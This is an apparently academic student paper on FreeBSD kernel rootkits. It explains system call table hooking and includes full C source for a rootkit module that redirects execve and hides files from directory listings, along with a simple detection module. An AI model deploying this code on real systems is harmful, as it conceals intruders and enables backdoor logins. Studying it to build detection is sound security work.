+ All Categories
Home > Documents > Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel...

Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel...

Date post: 26-Sep-2020
Category:
Upload: others
View: 4 times
Download: 0 times
Share this document with a friend
24
KERNEL ROOTKIT: DEVELOPMENT AND DETECTION Shikha Shrivastava Advisor: Dr.Thomas Schwarz 1 Introduction The name Rootkit is a combination of two words “root” and “kit”. root is the highest level access in Unix environment and kit is the set of tools. A rootkit is a collection of tools that allows an attacker to maintain root access on a compromised system. Rootkits alter or replace the operating system components with attacker’s version. Rootkits alter the operating system in such a way that it does what an attacker wants it to do. For an example, calling execeve to run the requested file may run the attacker’s file instead. Calling ls command may list all the files except the attacker’s files. This may be useful when the attacker wants to install a sniffer without it being detected. Running a ps command shall list all the processes except the attacker’s process. Thus, the rootkit lies to the system administrator by presenting a false state of the system to the user. Because of this behavior they become elusive from getting detected in the first place[1]. Rootkits allow the attacker to maintain a backdoor access which could be a remote access of the system. This can be accomplished by replacing the login component with its own version that may have attacker’s magic password. Rootkits hide the presence of the attacker. They hide all the attacker’s files, processes and the rootkit itself from system investigation tool. Rootkits is different from other vulnerability exploits in that it by itself does not allow the attacker to gain super user privileges in the first place[1]. However once an attacker gains root access by exploiting some known vulnerabilities of the system , he can install the rootkit that allows him to maintain root privileges on the target system. 2 Modes of attack Depending upon the type of attack, a rootkit could be user mode or kernel mode. The user mode rootkit replaces the executables with attackers’ version. Some of the binaries that are prime targets of replacement are login, passwd, ps , ls , su, du, find etc. The binary replacements enable the attacker to hide his presence while allowing him to maintain root control on the system. For an example, the attacker’s du does not report the disk usage by attacker’s files. The login replacement shall allow the attacker to login into the system with his password. 1
Transcript
Page 1: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

KERNEL ROOTKIT: DEVELOPMENT AND DETECTION

Shikha Shrivastava

Advisor: Dr.Thomas Schwarz

1 Introduction The name Rootkit is a combination of two words “root” and “kit”. root is the highest level access in Unix environment and kit is the set of tools. A rootkit is a collection of tools that allows an attacker to maintain root access on a compromised system. Rootkits alter or replace the operating system components with attacker’s version. Rootkits alter the operating system in such a way that it does what an attacker wants it to do. For an example, calling execeve to run the requested file may run the attacker’s file instead. Calling ls command may list all the files except the attacker’s files. This may be useful when the attacker wants to install a sniffer without it being detected. Running a ps command shall list all the processes except the attacker’s process. Thus, the rootkit lies to the system administrator by presenting a false state of the system to the user. Because of this behavior they become elusive from getting detected in the first place[1]. Rootkits allow the attacker to maintain a backdoor access which could be a remote access of the system. This can be accomplished by replacing the login component with its own version that may have attacker’s magic password. Rootkits hide the presence of the attacker. They hide all the attacker’s files, processes and the rootkit itself from system investigation tool. Rootkits is different from other vulnerability exploits in that it by itself does not allow the attacker to gain super user privileges in the first place[1]. However once an attacker gains root access by exploiting some known vulnerabilities of the system , he can install the rootkit that allows him to maintain root privileges on the target system. 2 Modes of attack Depending upon the type of attack, a rootkit could be user mode or kernel mode. The user mode rootkit replaces the executables with attackers’ version. Some of the binaries that are prime targets of replacement are login, passwd, ps , ls , su, du, find etc. The binary replacements enable the attacker to hide his presence while allowing him to maintain root control on the system. For an example, the attacker’s du does not report the disk usage by attacker’s files. The login replacement shall allow the attacker to login into the system with his password.

1

Page 2: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

Since the user mode rootkit replaces existing binaries, they can be easily detected by integrity checkers. Also they shall fail if the system administrator chooses to run the above executables from his CD. The kernel mode rootkit does not modify a few set of binaries and executables. Instead, it changes the underlying kernel that these executables depend upon. This type of rootkit attack is more powerful than the user mode rootkit. It may not be detected by file integrity checkers since the original executables are not modified or altered. Also, the rootkit attack shall succeed even if the system administrator chooses to run the binaries from his CD. 3 Kernel Modules: Most of the operating systems today come with the support for kernel loadable modules. This is possible because a method has been devised to break down all kernel services into modules and to logically sequence these modules at boot time, making it easier to add new features to the operating system. The two types of kernel modules are Permanent kernel modules and kernel loadable modules. Permanent kernel modules can be loaded at boot time and cannot be unloaded during run time Kernel Loadable modules were introduced in modern operating systems because of several advantages its offers. A kernel loadable module can be compiled, loaded, modified, compiled and loaded again without having to link it directly into the kernel or having to reboot the system [2].

3.1 Kernel loadable modules: Security risk With all its advantages, the kernel loadable modules poses huge security risk to the system. The support for KLM implies that any user with super user privilege can modify the underlying kernel dynamically. Kernel Loadable Modules provide an attacker, a powerful tool to be able to load malicious modules that alter the underlying kernel. The kernel mode rootkit exploits the kernel loadable modules utility to attack the kernel. In order to prevent the abuse of this facility, many business and corporate sectors run the Unix, Linux and FreeBSD without kernel loadable module support. Below we discuss some of the components of the kernel mode rootkit: File and directory hiding: Hide the attacker’s files from directory entry listing. In this paper we show how to hide attacker’s files from directory listing. Process hiding: Hide all the attacker’s process Network port hiding: An attacker might have a backdoor process listening on a UDP or TCP port. However, he might want to hide the port from local programs.

Promiscuous mode hiding: Hide from the system administrator the promiscuous mode of network interface .This allows the attacker to be able to install a sniffer without it getting detected.

2

Page 3: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

Execution redirection: Redirect the user or the system administrator’s file request to attacker’s file. In this paper we show how to accomplish execution redirection. Device interception and control: Attackers can intercept data being sent to or from any hardware such as recording keystrokes [4].

4 Attack by system call table alteration:

4.1 System calls: To better understand the working of the kernel rootkit, it is important to be able to understand the system calls execution. The system calls provide a way for the user mode process to be able to interact with the kernel. In FreeBSD, the file /usr/src/sys/sys/syscalls.h contains all the system calls supported by the system. The system call represents a transition from the user mode to the kernel mode .The system call routine copies the parameter passed by the user into the kernel space and then performs the processing specific to the given system call. 4.2 System call tables: During the startup of the FreeBSD kernel, all the system calls supported by the system are loaded into an array of type sysent structure. The sysent structure is defined in /usr/src/sys/sys/sysent.h. Each sysent entry in the array holds the number of arguments and the pointer to the system call routine. In other words a system call table is a live kernel data structure in kernel memory mapping system calls to appropriate pointers in the kernel. The kernel rootkit attacks the system by altering this system call table. Instead of modifying any of the existing binaries, it alters the sysent entry of the target system call to make it point to the attacker’s system call. To get a feel of how system calls are stored in the sysent list, refer to the file /usr/src/sys/kern/init_sysent.c

3

Page 4: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

Function call to Library System call

User process

System Libraries

User Mode

Fig 1. Invoking appropriate system call .

5 kernel loadable module example: hello syscall

In this section we shall walkthrough all the steps required to install a system call dynamically via kernel loadable module. The entire source code can be referred in the Appendix A

5.1 Writing a kernel module

Here is the source code example of a kernel module that loads the system call “hello” dynamically in the system.

static int hello (struct thread *td, void *arg) { printf ("hello kernel\n"); return 0; }

System call table Kernel code for

system call execve Invoke appropriate Kernel code

Kernel code for system call getdirentries

Kernel Mode

Hardware

4

Page 5: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

This the sysent structure that hold the system call “hello”. Definition of sysent structure can be found in /usr/src/sys/sys/sysent.h sy_narg is 0 because this system call hello takes no arguments. sy_call is the pointer to the system call function which in this example is “hello” static struct sysent hello_sysent = { 0, /* sy_narg */ hello /* sy_call */ }; As discussed above, every system call is associated with a system call number. The system call handler takes in the system call number to determine which system call is to be invoked. To determine the system call numbers refer the file /usr/src/sys/kern/syscalls.master. The system call handler takes in the system call number, indexes the sysent array list with that number to fetch the entry for the corresponding system call. The entry contains the number of arguments that the system call takes in and also a pointer to the system call routine. The offset in the code below represents the system call number for “hello”. Since this is a new system call, it is safe to set it to NO_SYSCALL which implies that the system shall assign a system call number for it. static int offset = NO_SYSCALL; This is a handler that is in every KLM. When the KLM is loaded or unloaded, it is this handler that is invoked. Thus in the case statement MOD_LOAD we can specify what other action needs to be done when this module is loaded. Actually this is the place where we can include the code snippet to alter the system call table. In the code below we only have print statements when load and unload takes place. static int load (struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD : printf ("syscall loaded at %d\n", offset); break; case MOD_UNLOAD : printf ("syscall unloaded from %d\n", offset); break; default : error = EINVAL; break; } return error; }

5

Page 6: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

That macro SYSCALL_MODULE installs the module and calls the required functions. SYSCALL_MODULE (syscall, &offset, &hello_sysent, load, NULL);

5.2 Compiling the module

Compiling this module is very easy on FreeBSD. We make use of universal Makefile which is very easy. This is how we write our make file. KMOD = helloworld SRCS = helloworld.c .include <BSD.KMOD.MK> 5.3 loading the module Now we have a working module which will install a system call we can call from user space with this little call program.[3]. We can load the module with # kldload ./helloworld.ko We can check our loaded module by typing # kldstat To unload the module we type the following: # kldunload ./helloworld.ko 5.4 Testing the module To test the installation of hello system call, we write a small program call.c. This sample program is picked from FreeBSD sources. #include <stdio.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/module.h> static void usage (void); static void usage (void) { fprintf (stderr, "call syscall-number\n"); exit (1); }

6

Page 7: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

int main(int argc, char **argv) { char *endptr; int syscall_num; struct module_stat stat; stat.version = sizeof(stat); modstat retrieves the module_stat structure defined by syscall in the stat variable. We defined our helloword module as syscall in the SYSCALL_MODULE macro. modstat(modfind("syscall"), &stat); syscall_num = stat.data.intval; return syscall (syscall_num); } We compile and run this test program.

6 Intercepting system calls: Intercepting a system call involves altering the system call table to make it point to the attacker’s system call. The attacker’s system call must take in the same number of arguments as the original system call. Normally, the attacker’s system call is a wrapper around the original system call. The attacker’s system call may copy the arguments passed to the system call from the user space into kernel space, modify the arguments and copy it back to the user space and then call the original system call. Thus, the legitimate system call now takes in modified arguments. Below is the example of intercepting the write() system call. In this example the system call does not do anything malicious.

7

Page 8: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

Using KLM, attacker’s process alters system call table Function call to Library System call User Mode

User process

Fig 2.Altering the system call table to make it point to attacker’s system call.

6.1 Source code example: Interception of write() system call #include <sys/types.h> #include <sys/param.h> #include <sys/proc.h> #include <sys/module.h> #include <sys/sysent.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/linker.h> #include <sys/sysproto.h> #include <sys/syscall.h> The system call hacked_write() that intercepts the write system call static int hacked_write (struct thread *td, struct write_args *arg) { printf ("Intercepting write system call\n"); return 0; }

KLM Alter system call table to point to attacker’s system call Kernel Mode

System Libraries

System call table

Attacker’s system call Replacing or wrapping Various system calls

Legitimate system call

Attacker’s process

Hardware

8

Page 9: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

This is the sysent structure that holds the system call “hacked_write”. sy_narg is 3 because the original write system call takes 3 arguments. sy_call is the pointer to the system call function which in this example is “hacked_write” static struct hacked_write_sysent = { 3, /* sy_narg */ hacked_write /* sy_call */ }; static int offset = NO_SYSCALL; When the KLM is loaded or unloaded, it is this handler that is invoked. Actually this is the place where we can include the code snippet to alter the system call table. The system call table is altered here. SYS_write is the number associated with the write system call and has been defined to be in usr/src/sys/sys/syscalls.h static int load (struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD : /*replace the write system call with that of hack_write*/ sysent[SYS_write]=hacked_write_sysent; break; case MOD_UNLOAD : /*restore the original system call table*/ sysent[SYS_write].sy_call=(sy_call_t*)write; break; default : error = EINVAL; break; } return error; } That macro SYSCALL_MODULE will install the module and calls the required functions. SYSCALL_MODULE(syscall, &offset, &hacked_write_sysent, load, NULL);

6.2 compiling and uploading the module

9

Page 10: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

Refer to the section 5.2 and 5.3.

7 The FreeBSD5.3 Kernel rootkit Project: This project involves the development of an elementary kernel rootkit called .This rootkit does not consist of all the components of a rootkit. The goal of this project is to demonstrate the concept behind the rootkit attack. Also the development of this rootkit gives some insight into the possible prevention and detection techniques in order to safeguard our systems against rootkit attacks. This elementary rootkit exploits the kernel loadable modules feature in FreeBSD. This rootkit performs file execution redirection and hides the attackers’ files. It is loaded dynamically as a kernel loadable module that alters the system call table and makes it point to the attacker’s system calls.

7.1 The file execution redirection: In this attack the attackers’ hack_execve system call intercepts all the calls to the legitimate execve system call. The sysent entry in the system call table that points to the execve system call is altered by the malicious kernel module to point to the attacker’s hack_execve system call. The hack_execve system copies from the user space, the file name that the user has requested to execute. If the file name matches the file that the attacker wants to redirect to his file, the hack_execve system call shall replace the original file requested with his file. The hack_execve calls the legitimate execve with modified filename. Some of the system programs that the attackers wants to redirect are /bin/login which the attacker might want to redirect to his own login program. This trojaned login program shall have a magic password that shall allow the attacker to access the system with superuser privileges. The implementation of the hack_execve system call is shown below. It redirects the request for “goodfile” execution to “badfile” which is the attacker’s file. The entire source code of the rootkit can be referred in Appendix B. static int hack_execve(struct thread *td , struct execve_args *uap) { The attacker wants to redirect all the execve requests for the execution of goodfile to the attacker’s program badfile. The original file name that we are interested in redirecting. char old_name[] = "/usr/home/guest/isr/goodfile"; char new_name[] = "/usr/home/guest/isr/badfile"; size_t done; char *kern_buffer;

10

Page 11: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

the kernel stack is limited. Hence, dynamic allocation is preferred. The kernel malloc is different from user malloc. The definition of the macro MALLOC can be found in /usr/src/sys/sys/malloc.h MALLOC(kern_buffer , char* , 255 , M_MYEX , M_NOWAIT); get the name of the program that the user wants to execute . Since the kernel cannot directly read user buffer, copy the filename from the user buffer to the kernel space. If the requested executable is of attacker’s interest replace the original executable with the attackers’ executable. copyinstr(uap->fname , kern_buffer, 255 , &done); see if the file requested is the one attacker wants to redirect if(strcmp((char *)kern_buffer , (char *)old_name) == 0){ copy the attacker's version from kernel space into the user space copyout(new_name , uap->fname, strlen(new_name) + 1); FREE(kern_buffer, M_MYEX); call the original execve system call with modified user buffer return execve(td , uap); } Do no modification if the program requested is of no interest to the attacker execve(td , uap); } Each entry in the system call is a sysent structure that contains the number of arguments That the system call takes and also the pointer to the system call routine. define the sysent entry for the hack_execve system call. static struct sysent hack_execve_sysent = { 3, /* sy_narg */ hack_execve /* sy_call */ };

11

Page 12: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

When KLD is loaded, alter the system table to point it to the hack_execve system call. static int load_hack_execve (struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD : /*replace the sysent entry of execv with hack_execve_sysent*/ sysent[SYS_execve] = hack_execve_sysent; break; case MOD_UNLOAD : /*restore the sysent entry of execve with original execve call*/ sysent[SYS_execve].sy_call = (sy_call_t*)execve; break; default : error = EINVAL; break; } return error; }

7.2 Hiding files:

One of the objectives of the attacker is to be able to hide its presence on the system by hiding its malicious files. The attacker’s hacked version of getdirentries system call. Refer to Appendix B for the complete source code. static int hacked_getdirentries (struct thread *td, struct getdirentries_args *uap) This is the malicious file that the attacker wants to hide char file_to_hide[] = "badfile"; Now call the original getdirentries getdirentries(td,uap); the total buffer size for all the directory entries for the requested file is returned old_buffersize = td->td_retval[0];

12

Page 13: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

allocate kernel memory MALLOC(direntries, struct dirent*, old_buffersize, DIRENTRIES, M_NOWAIT); copy the dirent structure from user buffer in our kernel space copyin(uap->buf, direntries, old_buffersize); make the pointer point to the first entry direntptr=direntries; reclen = direntptr->d_reclen; In this loop we traverse all the directory entries for(; old_buffersize>0 ; old_buffersize -= reclen) { reclen = direntptr->d_reclen; check if the name of the file entry matches the attacker’s file if (strcmp((char*)&(direntptr->d_name), (char*)&file_to_hide)==0) if it is the file to be hidden overwrite the entry with remaining entries bcopy((char*)direntptr+reclen,direntptr, old_buffersize); } reduce the size of the new buffer by the record length of the attacker's file entry new_buffersize-=reclen; as long as there is something to copy, do it if (old_buffersize!=0) get the next entry from the dirent structure list direntptr=(struct dirent*)((char*)direntptr +direntptr->d_reclen); replace the old_buffersize with new_buffersize.After all we excluded some malicious entries and should pass on modified size td->td_retval[0]=new_buffersize; copy the modified(attacker's files excluded!!) dirent structure list to user buffer

13

Page 14: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

copyout(direntries, uap->buf, new_buffersize); free kernel memory FREE(direntries, DIRENTRIES); define the sysent entry for the hack_execve system call. static struct sysent hacked_getdirentries_sysent = { 4, hacked_getdirentries /* sy_call */ }; When KLD is loaded, alter the system table to point it to the sysent entry of the hack_getdirentries system call. static int load_hacked_direntries (struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD : replace the getdirentries syscall with our own sysent[SYS_getdirentries]=hacked_getdirentries_sysent; break; case MOD_UNLOAD : argument count has not changed, so we only need to restore the function pointer sysent[SYS_getdirentries].sy_call=(sy_call_t*)getdirentries; break; default : error = EINVAL; break; } return error; } 7.3 Loading the rookit Refer to the section 5.2 .Write a makefile in the same directory as the source code of the rootkit. Compile by calling ‘make’. Refer to the section 5.3 for loading the rootkit. 7.4 Enhancements: The above rootkit is a very elementary rootkit that alters only two system calls, execve and getdirentries. It does not hide the presence of the loadable module and therefore can be detected. However a powerful rootkit shall have several other components. It shall modify all the system calls that shall reveal the presence of this rootkit such as kldstat.

14

Page 15: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

7.5 Detection:

File integrity checkers shall not work for the simple rootkit since at no place did the rootkit modify any of the system call binaries. The rootkit that alters system call table (as in case of our rootkit), can be detected by checking each system call table entries to see if it points to the intended system call. An alert can be raised it the system call table has been modified to point to some other routine. Below is a small piece of code that detects the modification of system table when the simple_rootkit module is loaded into the system. The complete source code for detection tool can be referred to in Appendix C Check if the exceve() and getdirentries() system call are altered. if(sysent[SYS_execve].sy_call != (sy_call_t*)execve) printf("\nexecve system call rootkited!\n") ; if(sysent[SYS_getdirentries].sy_call != (sy_call_t*)getdirentries) printf("\ngetdirentries system call rootkited!\n") ; 8 Other rootkit techniques: Because of the huge security risk associated with kernel loadable modules, most of the commercial operating systems run without the KLM support. However, attackers have found ways to rootkit a system without KLM technique. The most popular method is by altering the kernel memory image in /dev/kmem. dev/kmem contains the image of the running kernel memory. The attacker alters the system call table in /dev/kmem and makes it point to the attacker’s system call. The attack is similar as that demonstrated in kernel loadable except that here the system call table in dev/kmem is directly changed

9 Conclusion

While the industry tries to keep up pace with new defenses, the attackers are always on work to find out new holes. With kernel rootkit attack the attackers are able to gain a deeper level control on the operating system. Even if the systems runs without the support of kernel loadable modules, they still are not safe from kernel attacks. Attackers have devised ways to attack the kernel memory image or even patch the kernel image on the hard drive. The key to the prevent this type of attack is to harden the system so that vulnerabilities cannot be exploited to install the rootkit in the first place. To be able to detect a kernel rootkit it is important that the kernel be booted from the CD of the administrator. Any binaries and integrity checkers should also be run from the system administrator’s CD. Since in this case the kernel is trusted, It shall show up the attacker’s files.

10 References: [1] “Malware Fighting malicious code,” Ed Skoudis with Lenny Zeltser, 2004 [2] “The Design and Implementation of the FreeBSD Operating system,” Marshall Kirk

Mckusick and George V. Neville-Neil

15

Page 16: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

[3] “Attacking FreeBSD with Loadable Kernel Modules,” Pragmatic/THC, 1999 [4] “writing Linux Kernel Keylogger,” rd, 2002, www.phrack.org/phrack/59/p59-0x0e.txt

11 APPENDIX A /*hello system call*/ #include <sys/types.h> #include <sys/param.h> #include <sys/proc.h> #include <sys/module.h> #include <sys/sysent.h> #include <sys/kernel.h> #include <sys/systm.h> /* * The function for implementing the syscall. */ static int hello (struct thread *td, void *arg) { printf ("hello kernel\n"); return 0; } /* * The `sysent' for the new syscall */ static struct sysent hello_sysent = { 0, /* sy_narg */ hello /* sy_call */ }; /* * The offset in sysent where the syscall is allocated. */ static int offset = NO_SYSCALL; /* * The function called at load/unload. */ static int load (struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) {

16

Page 17: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

case MOD_LOAD : printf ("syscall loaded at %d\n", offset); break; case MOD_UNLOAD : printf ("syscall unloaded from %d\n", offset); break; default : error = EOPNOTSUPP; break; } return error; } SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);

12 APPENDIX B /********************************************************** * This is a simple kernel rootkit that demonstrates some attacks * This kernel module rootkit hides attacker's file * and also redirects file execution * * * * * The dirent structure defines the format of directory structure * returned by getdirentries() system call * A directory entry has a structure dirent at the front of it , * containing the inode number , the length of the entry and the * length of the name contained in the entry * dirent struct is defined in /usr/src/sys/sys/dirent.h * struct dirent { * d_fileno : file no of entry * d_reclen : the length of this record * d_type : files types .definitions can be found in dirent.h * d_namelen : length of string in d_name * } * This kernel module redirects the execve call if the requested * file is of the attacker's interest.The execve call is redirected * to execute the attacker's version.The attacker's execve system * call is a wrapper around the original exeve system call. * It intercepts all the calls to execve() and replaces * the requested file in the user buffer with attacker's file. * * reference to the execve system call can be made at * /usr/src/sys/kern/kern_exec.c * the syscall numbers can be obtained from /usr/src/sys/sys/syscall.h and

17

Page 18: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

* /usr/src/sys/kern/syscalls.master files * * * * * * * * * ************************************************************/ #include <sys/types.h> #include <sys/param.h> #include <sys/proc.h> #include <sys/module.h> #include <sys/sysent.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/linker.h> #include <sys/sysproto.h> #include <sys/sysent.h> #include <sys/syscall.h> #include <sys/file.h> #include <sys/malloc.h> #include <sys/types.h> #include <sys/dirent.h> /*Memory is allocated in the kernel space for storing the directory entries*/ MALLOC_DEFINE(DIRENTRIES, "direntries", "struct"); static int hacked_getdirentries (struct thread *td, struct getdirentries_args *uap) { unsigned int old_buffersize, new_buffersize , reclen; struct dirent *direntries, *direntptr; /*This is the malicious file that the attacker wants to hide*/ char file_to_hide[] = "badfile"; /*Now call the original getdirentries*/ getdirentries(td,uap);

18

Page 19: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

/*the total buffer size for all the directory entries for the requested file is returned */ old_buffersize = td->td_retval[0]; new_buffersize = old_buffersize; if (old_buffersize>0) { /*allocate memory*/ MALLOC(direntries, struct dirent*, old_buffersize, DIRENTRIES, M_NOWAIT); /*copy the dirent structure from user buffer in our kernel space*/ copyin(uap->buf, direntries, old_buffersize); /*make the pointer point to the first entry*/ direntptr=direntries; reclen = direntptr->d_reclen; /*In this loop we traverse all the directory entries*/ for(; old_buffersize>0 ; old_buffersize -= reclen) { reclen = direntptr->d_reclen; /*check if the name of the file entry matches what attacker wants to hide*/ if (strcmp((char*)&(direntptr->d_name), (char*)&file_to_hide)==0) { if (old_buffersize!=0) { /* if it is the file to be hidden overwrite the entry with remaining entries */ bcopy((char*)direntptr+reclen,direntptr, old_buffersize); } /*reduce the size of the new buffer by the record length of the attacker's file entry*/ new_buffersize-=reclen; }

19

Page 20: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

if (direntptr->d_reclen==0) { /*end is reached*/ old_buffersize=0; } /*as long as there is something to copy, do it*/ if (old_buffersize!=0) /*get the next pointer from the dirent structure list*/ direntptr=(struct dirent*)((char*)direntptr +direntptr->d_reclen); } /*replace the old_buffersize with new_buffersize.Since we excluded some malicious entries , pass on modified size*/ td->td_retval[0]=new_buffersize; /*copy the modified(attacker's files excluded!!) dirent structure list to user buffer*/ copyout(direntries, uap->buf, new_buffersize); /*free kernel memory*/ FREE(direntries, DIRENTRIES); } return 0; } MALLOC_DEFINE(M_MYEX , "kern_buffer" , "char"); static int hack_execve(struct thread *td , struct execve_args *uap) { /* the original file name that we are interested inredirecting*/ char old_name[] = "/usr/home/guest/isr/goodfile"; char new_name[] = "/usr/home/guest/isr/badfile"; size_t done; char *kern_buffer; /*the kernel stack is limited.Hence ,dynamic allocation is preferred.*/ MALLOC(kern_buffer , char* , 255 , M_MYEX , M_NOWAIT);

20

Page 21: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

/* get the name of the program that the user wants to execute that Since the kernel cannot directly read user buffer , copy the filename from the user buffer to the kernel space */ copyinstr(uap->fname , kern_buffer, 255 , &done); /*see if the file requested is the one attacker wants to redirect*/ if(strcmp((char *)kern_buffer , (char *)old_name) == 0){ /*copy the attacker's version from kernel space into the user space*/ copyout(new_name , uap->fname, strlen(new_name) + 1); FREE(kern_buffer, M_MYEX); /*call the original execve system call with modified user buffer*/ return execve(td , uap); } execve(td , uap); } /* * The `sysent' for the new syscall */ /*the sysent structure represents the system call table in freeBSD.The sysent structure hold the number of arguments that the system call takes and also the name of the system call itself. */ /*the hacked getdirentries syscall*/ static struct sysent hacked_getdirentries_sysent = { 4, hacked_getdirentries /* sy_call */ }; static struct sysent hack_execve_sysent = {

21

Page 22: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

3, /* sy_narg */ hack_execve /* sy_call */ }; static int offset1 = NO_SYSCALL; static int offset2 = NO_SYSCALL; /* * The function called at load/unload. */ static int load_hacked_direntries (struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD : /*replace the getdirentries syscall with our own*/ sysent[SYS_getdirentries]=hacked_getdirentries_sysent; break; case MOD_UNLOAD : /*argument count has not changed, so we only need to restore the function pointer*/ sysent[SYS_getdirentries].sy_call=(sy_call_t*)getdirentries; break; default : error = EINVAL; break; } return error; } static int load_hack_execve (struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD : sysent[SYS_execve] = hack_execve_sysent; break; case MOD_UNLOAD : sysent[SYS_execve].sy_call = (sy_call_t*)execve; break; default : error = EINVAL; break; } return error; }

22

Page 23: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

SYSCALL_MODULE(syscall1 , &offset1 ,&hacked_getdirentries_sysent ,load_hacked_direntries , NULL); SYSCALL_MODULE(syscall2, &offset2, &hack_execve_sysent, load_hack_execve, NULL);

12 APPENDIX C /*rootkit detection tool*/ #include <sys/types.h> #include <sys/param.h> #include <sys/proc.h> #include <sys/module.h> #include <sys/sysent.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/proc.h> #include <sys/syscall.h> #include <sys/dirent.h> #include <sys/types.h> #include <sys/sysproto.h> #include <sys/malloc.h> static int rootkit_detect(struct thread *td , struct execve_args *uap) { /* check if the sysent entries for execve and getdirentries system call have changed.*/ if(sysent[SYS_execve].sy_call != (sy_call_t*)execve) printf("\nexecve system call rootkited!\n") ; if(sysent[SYS_getdirentries].sy_call != (sy_call_t*)getdirentries) printf("\ngetdirentries system call rootkited!\n") ; } /* * The `sysent' for the new syscall */ /*the sysent structure represents the system call table in freeBSD.The sysent structure hold the number of arguments that the system call takes and also the name of the system call itself. */

23

Page 24: Kernel Loadable Modules: In modern operating systems like ...tschwarz/coen152_05/Resources/...Kernel Loadable modules were introduced in modern operating systems because of several

static struct sysent rootkit_detect_sysent = { 0, /* sy_narg */ rootkit_detect /* sy_call */ }; /* * The offset in sysent where the syscall is allocated. */ static int offset = NO_SYSCALL; /* * The function called at load/unload. */ static int load (struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD : ; break; case MOD_UNLOAD : ; break; default : error = EINVAL; break; } return error; } SYSCALL_MODULE(syscall, &offset, &rootkit_detect_sysent, load, NULL);

24


Recommended